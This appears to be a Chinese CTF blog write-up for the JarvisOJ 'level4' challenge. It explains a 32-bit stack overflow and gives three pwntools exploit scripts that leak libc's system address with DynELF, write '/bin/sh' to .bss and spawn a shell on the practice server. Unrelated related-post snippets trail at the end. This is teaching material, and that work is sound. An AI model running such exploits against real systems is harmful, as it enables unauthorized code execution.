DROPS第二週周五

2021-09-20 10:05:44 字數 3042 閱讀 5402

開了nx保護

溢位點在read函式:

當然leak啦(其實就是換一種方法獲取system的真實位址)然後再想著法子把/bin/sh給寫到bss或者data裡

構造leak函式:

def leak(address):

payload1 = "a" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)

p.sendline(payload1)

data = p.recv(4)

log.info("%#x => %s" % (address, (data or '').encode('hex')))

return data

這段函式能從記憶體中address處dump出4位元組資料,函式執行結束後會返回main函式重新執行,也就是說利用這個函式,我們可以dump出整個libc

d = dynelf(leak, elf=elf('./001'))

system_addr= d.lookup('system', 'libc')

獲取到system位址後便可以構造system(「/bin/sh」);攻擊程式。由於程式中沒有/bin/sh這個字串,我們可以用read函式先它寫入記憶體中乙個固定的位置,然後再執行system函式

bss段在記憶體中的位置是固定的,所以可以將/bin/sh寫到bss段中,payload如下:

'b' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)
現在棧中的情況如圖:

from pwn import *

io=remote("pwn2.jarvisoj.com",9880)

elf=elf("./level4")

vuln=0x804844b

writeplt=elf.plt["write"]

readplt=elf.plt["read"]

bss_addr=elf.bss()#獲取bss位址,將引數/bin/sh寫入bss段上去

def leak(address):

payload="a"*0x88+"aaaa"+p32(writeplt)+p32(vuln)+p32(1)+p32(address)+p32(4)

io.sendline(payload)

leak_sysaddr=io.recv(4)

return leak_sysaddr

d = dynelf(leak, elf=elf("./level4"))#dynelf洩露system位址

sysaddr=d.lookup("system","libc")

payload1="a"*0x88+"aaaa"+p32(readplt)+p32(vuln)+p32(1)+p32(bss_addr)+p32(8)

io.sendline(payload1)

io.sendline("/bin/sh")#將引數/bin/sh寫入bss段上去

payload2="a"*0x88+"aaaa"+p32(sysaddr)+p32(vuln)+p32(bss_addr)

io.sendline(payload2)

io.interactive()

#ctf

from pwn import *

# sh = process("./level4")

sh = remote("pwn2.jarvisoj.com",9880)

elf = elf("./level4")

# plt

read_plt = elf.plt["read"]

write_plt = elf.plt["write"]

# got

read_got = elf.got["read"]

write_got = elf.got["write"]

# some addrss

vulfun_addr = elf.symbols["main"]

pop3ret = 0x08048509

# leak the address of system

junk = "a"*0x88

fakebp = "a"*4

def leak(address):

payload = junk + fakebp

payload += p32(write_plt) + p32(pop3ret)

payload += p32(1) + p32(address) + p32(4) + p32(vulfun_addr)

sh.send(payload)

data = sh.recv(4)

#print "%#x %s" % (address, data)

return data

d = dynelf(leak, elf=elf("./level4"))

system_addr = d.lookup("system","libc")

print "system address: " + hex(system_addr)

# read bss

bss_addr = elf.bss()

payload1 = junk + fakebp

payload1 += p32(read_plt) + p32(pop3ret)

payload1 += p32(0) + p32(bss_addr) + p32(8)

payload1 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

# send paylaod and /bin/sh

sh.send(payload1)

sh.send("/bin/sh\0")

sh.interactive()

賞 你的支援是我最大的動力!

DROPS第二週周五

開了nx保護 溢位點在read函式 當然leak啦 其實就是換一種方法獲取system的真實位址 然後再想著法子把 bin sh給寫到bss或者data裡 構造leak函式 def leak address payload1 a 140 p32 write plt p32 main p32 1 p3...

2019 9 20 開學第三週周五 周總結

乙個周沒有記錄了。中秋節的時候,出去玩了幾次,很開心 可惜週末的網路賽打的也不怎麼樣,感覺這兩套題非常不適合我,我是打的很難受的。這周一開始又散漫了,不愛學習,在床上頹廢了兩天,躺的腰痠背疼的。然後就漸漸的催促自己起來學習,到最近這兩天,其實也就這兩天算是學習。總的來說,這乙個周,英語 單詞背了二三...

串列埠 周五週六簡記

星期五的時候把串列埠工程 e documents program routine example lpc1220 uart lpc1220 uart autobaud lpc1220 uart autobaud.xmp 週六的時候,小東的mdk和tkstudio總出問題,上午和下午都是在弄這個 1....